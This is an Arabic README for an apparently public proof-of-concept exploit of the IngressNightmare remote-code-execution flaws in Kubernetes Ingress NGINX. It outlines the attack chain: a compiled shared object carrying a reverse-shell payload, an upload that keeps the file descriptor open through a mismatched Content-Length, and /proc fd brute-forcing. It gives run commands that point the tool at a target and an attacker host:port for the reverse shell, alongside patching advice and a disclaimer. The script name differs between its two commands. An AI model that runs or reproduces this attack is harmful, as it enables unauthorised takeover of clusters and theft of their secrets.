
هذا هو كود PoC لاستغلال ثغرات IngressNightmare (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, and CVE-2025-1974).
يقدم هذا المشروع استغلالًا يستهدف ثغرات تنفيذ الأوامر عن بُعد (RCE) غير المُصادق عليها الحرجة في Ingress NGINX Controller لـ Kubernetes، والتي يُشار إليها مجتمعة باسم IngressNightmare. (بحث بواسطة Wiz)
في البحث الأصلي، لم يقدم فريق Wiz دليل إثبات (PoC) أو استغلالًا عمليًا، لذلك قررنا إنشاء استغلالنا الخاص ومشاركته مع المجتمع.
يُعد Ingress NGINX Controller مكونًا واسع الاستخدام في بيئات Kubernetes، حيث يدير الوصول الخارجي إلى الخدمات داخل المجموعات. يمكن للثغرات الأمنية الأخيرة (CVE-2025-1097، CVE-2025-1098، CVE-2025-24514، CVE-2025-1974) المكتشفة في وحدة التحكم في القبول (admission controller) الخاصة به أن تؤدي إلى وصول غير مصرح به إلى جميع الأسرار عبر مساحات الأسماء وربما تسمح بالاستيلاء الكامل على المجموعة.
https://github.com/user-attachments/assets/9e893abf-5c01-4fcb-ad79-7115b429281f
يتبع الاستغلال هذه الخطوات الرئيسية:
إنشاء كائن مشترك (يُستخدم بواسطة خاصية ssl_engine المحقونة):
يُجمّع مكتبة .so (evil_engine.so) تحتوي على حمولة شل عكسي.
رفع الكائن المشترك:
يُرسل الكائن المشترك المُجمّع إلى pod ingress، مستفيدًا من معالجة الطلب (مخازن جسم العميل). الحيلة هنا هي إرسال Content-Length مختلف إلى الخادم لإبقاء الاتصال مفتوحًا والحفاظ على واصف الملف للملف المفتوح.
استنزاف fd: يتكرر عبر معرفات العمليات وواصفات الملفات (/proc/{pid}/fd/{fd}) لتحديد الواصف الصحيح الذي يشير إلى الكائن المُحمّل.
الاستخدام
المتطلبات الأساسية: Python 3.x GCC compiler Python requests module
تشغيل الاستغلال:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/hakaioffsec/ingressnightmare-poc/blob/HEAD/attacker_host:port)
مثال: python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
أحيانًا يكون admission webhook في مساحة اسم مختلفة. في هذه الحالة، تحتاج إلى تحديد مساحة الاسم في النهاية، مثل kube-system أو default أو ingress-nginx.
<ingress_url>: عنوان Ingress الهدف (عام)
<admission_webhook_url>: عنوان webhook القبول (webhook داخلي)
attacker_host:port: مضيفك ومنفذك للشل العكسي
التحديث فورًا: ترقية Ingress NGINX Controller إلى الإصدارات المصححة (1.12.1 أو 1.11.5).
تقييد webhook القبول: قصر الوصول إلى webhook على خادم API الخاص بـ Kubernetes فقط.
التعطيل المؤقت: فكر في تعطيل مكون وحدة التحكم في القبول مؤقتًا إذا لم يكن الترقية ممكنة فورًا.
QuimeraX Intelligence هي منصة متقدمة لإدارة سطح الهجوم الخارجي (EASM) واستخبارات التهديدات السيبرانية متخصصة في تحديد الثغرات الحرجة في الأنظمة المعقدة. تراقب المنصة بشكل استباقي وتكتشف وتنبّه العملاء حول تهديدات الأمان، مما يضمن الشفافية والاستجابة السريعة للمخاطر المحتملة. يتلقى العملاء إشعارات فورية وتقارير شاملة إذا تم العثور على أنظمتهم معرضة للخطر، مما يمكنهم من اتخاذ إجراءات وقائية. اعرف المزيد
Hakai Security هي شركة أمن سيبراني أسسها محترفو أمان، ملتزمة بالتميز التقني. نحن نقدم حلول أمنية مخصصة تشمل اختبار الاختراق المتقدم، ومحاكاة الفريق الأحمر الواقعية، وممارسات التطوير الآمن لحماية أصول عملائنا بشكل استباقي من التهديدات السيبرانية المتطورة. اعرف المزيد
إخلاء مسؤولية
يتم توفير هذا الاستغلال لأغراض تعليمية وبحثية فقط. الاستخدام غير المصرح به لهذه الأداة ضد أهداف دون إذن صريح. لا تتحمل Hakai Security و QuimeraX أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن استخدام هذا الاستغلال.